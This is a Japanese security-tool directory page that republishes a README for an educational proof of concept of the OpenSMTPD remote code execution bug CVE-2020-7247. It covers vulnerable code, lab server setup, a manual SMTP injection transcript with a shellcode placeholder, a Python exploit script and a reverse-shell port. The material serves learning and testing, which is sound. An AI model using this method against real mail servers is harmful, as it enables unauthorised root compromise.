Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/simonschoeni/cve-2020-7247-poc
脆弱性分析エクスプロイトペネトレーションテスト学習と教育ペイロード開発メールセキュリティ
GitHubsimonschoeni/cve-2020-7247-poc

CVE-2020-7247-POC

教育目的のCVE-2020-7247の概念実証

リポジトリを見る
234年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
  • はじめに
  • エクスプロイトに関する重要な事実
  • 脆弱なサーバーのインストール
    • 設定
    • 環境に関する注意事項
  • エクスプロイト
    • 手動エクスプロイト
    • スクリプトによるエクスプロイト

はじめに

このリポジトリは、管理されたプライベート環境でCVE-2020-7247をセットアップし、エクスプロイトするためのベースとして提供されます。公開されているコードと設定はすべて、この脆弱性をテストするためだけのものであり、自分自身のシステムではない、または許可なく悪用するためのものではありません。このリポジトリの所有者は、第三者がこれらのツールを使用したことに対して責任を負いません。

エクスプロイトに関する重要な事実

コードの主な問題は、メール検証が機能しないことです。これにより、MAIL FROM および RCPT TO フィールドに危険な文字が渡される可能性があります。
メールアドレスのローカル部分が無効な場合、コードはドメイン部分を追加して有効として解釈するため、有効として扱われます。これにより、攻撃者は任意のコードを実行できます。

root@kitploit:~
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2229                 if (maddr->domain[0] == '\0') {
2230                         (void)strlcpy(maddr->domain, domain,
2231                             sizeof(maddr->domain));
2232                         return (1);
2233                 }
2234                 return (0);
2235         }
2236
2237         return (1);
2238 }

安全にするには、コードは次のようになるべきです:

root@kitploit:~
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2234                 return (0);
2235         }
2236
2237         return (1);
2238 }

Opensmtpd はその後、MDA コマンドと呼ばれるものを実行します。このコマンドはメール配信に使用されます。次のようになります:

root@kitploit:~
asprintf(&dispatcher->u.local.command,
            "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");

ここですでに問題が見えるかもしれません。mbox.from は送信者のアドレスであり、攻撃者が完全に制御できます。
ただし、攻撃者はシェルコード内で次のリストに含まれない文字のみを使用できます: !#$%&'*/?^{|}~+-=_!#$%&'*?{|}~
完全な開示はこちら

脆弱なサーバーのインストール

サーバーを実行するディストリビューションは自由に選択できます。Ubuntu 18.04 LTS でテストしました。
セットアップスクリプトを実行可能にするには、chmod +x setup.sh を実行します。必要な場所でのみ sudo 権限を含めているため、通常のユーザーで使用できます(もちろん、ユーザーは sudoer である必要があります)。
セットアップスクリプトは、smtpd 自体に必要なすべての依存関係をインストールし、設定ファイルをそれぞれの場所にコピーします。
Opensmtpd 6.6.1 がインストールされます。
opensmtpd を手動で実行する必要がある場合、またはスクリプトにエラーがある場合は、以下を実行してください:

root@kitploit:~
cd /usr/local/sbin
sudo smtpd
または
sudo smtpd -dv でデバッグ出力

設定

このリポジトリの設定は、ローカルテストのみを目的としています。外部ドメインや高度な設定は含まれていません。
aliases と smtpd.conf は、このサーバーのセットアップに必要な 2 つの設定ファイルです。必要に応じて自由に変更できます。これらの設定はテストサーバー用であることに注意してください。サーバー名は ase(smtpd.conf の @ase ディレクティブ)で、ユーザー名は ase(aliases のユーザー設定)でした。
smtpd.conf 内の <YOUR IP> をサーバーの IP に置き換える必要があります。そうしないと smtpd が起動しません。

環境に関する注意事項

この環境内で IP アドレスやポートを見つけた場合に備えて、使用した環境の重要な事実を以下に示します。適宜変更してください:

  • サーバー名: ase
  • ユーザー名: ase
  • SMTPD サーバーの IP: 192.168.1.40
  • SMTPD ポート: 25
  • 攻撃者の IP: 192.168.1.31
  • リバースシェルのポート: 1337

エクスプロイト

提供されているエクスプロイトは Python 3.x を使用します。依存関係として pwn を使用します。このエクスプロイトを使用するには、pip3 install pwntools で pwntools をインストールする必要があります。
基本的に、エクスプロイトはユーザーの操作を必要とせずに自動的に脆弱性を悪用します。ただし、Python スクリプトを使用せずに手動でエクスプロイトを実行することもできます。

手動エクスプロイト

前述のとおり、提供された Python スクリプトを使用せずにエクスプロイトを実行することもできます。SMTP プロセスを手動で実行する必要があります。これは netcat または telnet を使用して行うことができます。
手動で行う方法の例を以下に示します:

root@kitploit:~
telnet <サーバーのIP> 25
HELO attacker
250 ase Hello attacker [<クライアントIP>], pleased to meet you
MAIL FROM:<;ここにシェルコードを挿入;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

Oh no you got pwned
.
250 2.0.0 48bb34d2 Message accepted for delivery

スクリプトによるエクスプロイト

提供されたスクリプトを使用することもできます。以下のパラメータが使用可能です:

  • --targetHost はターゲットを指定します。必須です。
  • --targetPort はターゲットポートを指定します。必須です。
  • --customCommand は注入するコマンドを指定します。

shellcode.py は、リモートシェルコードがどのようになるかの例です。\

エクスプロイトデモ

ツールをダウンロード